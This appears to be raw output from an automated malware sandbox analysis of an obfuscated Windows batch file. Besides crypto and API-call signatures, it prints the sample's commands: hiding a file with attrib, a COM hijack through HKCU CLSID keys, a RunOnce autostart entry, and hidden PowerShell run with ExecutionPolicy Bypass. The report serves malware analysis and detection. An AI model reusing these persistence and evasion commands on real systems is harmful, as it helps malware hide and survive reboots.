clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "GET /crx/blobs/AXJDbcB3bcsV6gp8gPeje3RcGNJ3eqIJK3ZArzrmZgm66KMI_kiXwkouPJ_H1mUKEwkz3sgH3WqX91P8sppzYc4bmn9MHbflNecjUeea0PpDyi6PGAvEm-AFGgz7Z7D2-5EAxlKa5ZzBahtzgxEuNigzgslrK_1YzGwG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_104_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.16299Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty"2a:T689,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to access crypto-related API (String) Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Able to import cryptographic keys (seen in ransomware) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to decrypt/decode data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: Script contains XOR (Antimalware Scan Interface) Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to encrypt data Matched sigs: Calls an API typically used to decrypt the data Matched sigs: HTTP requests contain Base64 strings Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: The input file contains long Base64 encoded strings Matched sigs: YARA signature match – Encryption algorithm2b:T1ff8,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004164) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004164) "cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001120) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001120) "reg.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000696) "reg.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006912) "reg.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002560) "reg.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007332) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001332) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001332) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac44dcfd7f0000000000000000000051ed7bdefd7f000000000000540200000000000000000000c4054448824a00002a000000000000003050db4c540200008fec7bdefd7f0000e0ac44dcfd7f0000e0ac44dcfd7f0000000000000000000000000000fd7f0000ffffff7f42e2000000000000000000000000000000000000d8ce38dcfd7f00002a0000000000000069c3f1dbfd7f00003100000000000000fc0300000000000004040000000000001100011000000000d0cf576da800000003a380ddfd7f0000d0cf576da800000000000000000000002b00000000000000000000000000000020b0f7dbfd7f0000b43ff6dbfd7f0000e0ce38dc (UID: 00000000-00001332) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000040000000000000000000f04c540200000b8e79defd7f00000000f04c540200000200000054020000380000000000000040000000000000003003f04c54020000d8e24c6ea80000000100000000000000030000000000000001000000000000000c00000000000000e010cc4c5402000000000000000000000000cc4c54020000b000646754020000000000000000000013000000010000000000000000000000000000000000000004000000000000000000000000000000f80364675402000004000000000000003800000000000000f0987fddfd7f00003800000000000000380000000000000050e44c6ea8000000c00cbaaefd7f000000000000 (UID: 00000000-00001332) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b06dd1fd7f0000070000000000000000000000000000000100000000000000f052546754020000000000000000000060b75667540200004c987fddfd7f000020d7566754020000b3ceb0aefd7f0000c0b9566754020000004f6dd1fd7f0000d0b06dd1fd7f000000000000000000000000000000000000c0b9566754020000f05254675402000060f1566754020000a8e44c6ea80000004c987fddfd7f00000100000000000000a8e44c6ea800000060f1566754020000c0b9566754020000010000000000000002bcb0aefd7f000080ba5667540200009012556754020000feffffff040000007df06cd1fd7f0000a0f35667 (UID: 00000000-00001332)2c:T46a,"powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e0065007800650000005c006d0061006300680069006e0065002e00630005000005743d000040ccce4c (UID: 00000000-00001332) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000730079007300740065006d00330032005c00770069006e0064006f007700730070006f007700650072007300680065006c006c005c00760031002e0030005c0070006f007700650072007300680065006c006c002e00650078006500000023020000c060d802230200000061d80223020000060000060b780000c0d1d602 (UID: 00000000-00001612) "explorer.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007f0000487d0e0d0000000090ae6edefd7f00000130010000000080000000000000000000000000000000006ef6c40be0c90fd715cb51a6469a28df00000000e136a9e6000000000000000000000000000000000000000000000000805b270d00000000805b270d0000000000000000fd7f0000000000000000000000000000 (UID: 00000000-00005336)2d:T57c,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "reg.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE")2e:Tca6,file/memory contains long string with (Indicator: ""set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set SUCCESS=f" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set SOMETHING=I" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set Drag=h" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set DIFFICULT=d" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set REPORTER=t" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set intervention=i" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set TONIGHT=e" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set Chemical=B" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set WRAP=a" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set Cause=y" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set Pause=o" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set pocket=N" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set social=s" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set RELIGIOUS=r" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set Finding=n" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set MASSIVE=H" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set dish=l" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set Yesterday=p" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set Work=c" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set FALSE=v" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set Latter=w" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set subsequent=%LOGONSERVER%" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set oppose=%HOMEDRIVE%%HOMEPATH%" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin") Found string "set NORMAL=%CD%" (Indicator: "set "; File: "6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin")2f:T7c3,"explorer.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "")30:Tf9f,"cmd.exe" queries volume information of an entire harddrive"C:\" at 00000000-00001120-00000C17-1537445208 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001332-00000C17-1564433172 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001332-00000C17-1564494693 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001332-00000C17-1565549540 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00001332-00000C17-1565806899 "powershell.exe" queries volume information of "C:\share" at 00000000-00001332-00000C17-1565808508 "powershell.exe" queries volume information of "C:\share" at 00000000-00001332-00000C17-1565890759 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001332-00000C17-1566621383 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001332-00000C17-1566931932 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001332-00000C17-1567035314 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001332-00000C17-1567085261 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001612-00000C17-1572002150 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00001612-00000C17-1572209969 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00001612-00000C17-1572984404 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00001612-00000C17-1573392396 "powershell.exe" queries volume information of "C:\share" at 00000000-00001612-00000C17-1573394343 "powershell.exe" queries volume information of "C:\share" at 00000000-00001612-00000C17-1573473822 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001612-00000C17-1574686477 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001612-00000C17-1574825099 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001612-00000C17-1574873858 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00001612-00000C17-157519911731:T6be,"cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /K "C:\6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin.bat"" - (UID: 00000000-00004164) "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\CABIN.bat"" - (UID: 00000000-00001120) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}" /ve /t REG_SZ /d "System Shell Extension" /f" - (UID: 00000000-00001120) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f" - (UID: 00000000-00001120) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKCU\Software\Classes\CLSID\{5C20ADD8-97A3-CC89-E5B5-ED3A396A3B07}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apa" - (UID: 00000000-00001120), "cmd.exe" called "CreateProcessW" with parameter "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Colleague" /t REG_SZ /d "cmd.exe /c \"%USERPROFILE%\AppDa" - (UID: 00000000-00001120), "cmd.exe" called "CreateProcessW" with parameter "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "[Runtime.InteropServices.Marshal]::freeHGlobal([" - (UID: 00000000-00001120) "cmd.exe" called "CreateProcessW" with parameter "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -File "%TEMP%\SHARP.ps1"" - (UID: 00000000-00001120) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\uiju15fo\uiju" - (UID: 00000000-00001612)32:T8bca,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004164) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004164) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004164) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004164) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001120) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001120) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001120) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001120) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000696) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000696) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000696) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000696) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006912) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006912) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006912) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006912) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002560) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002560) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002560) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002560) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007332) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007332) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007332) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007332) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001332) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll 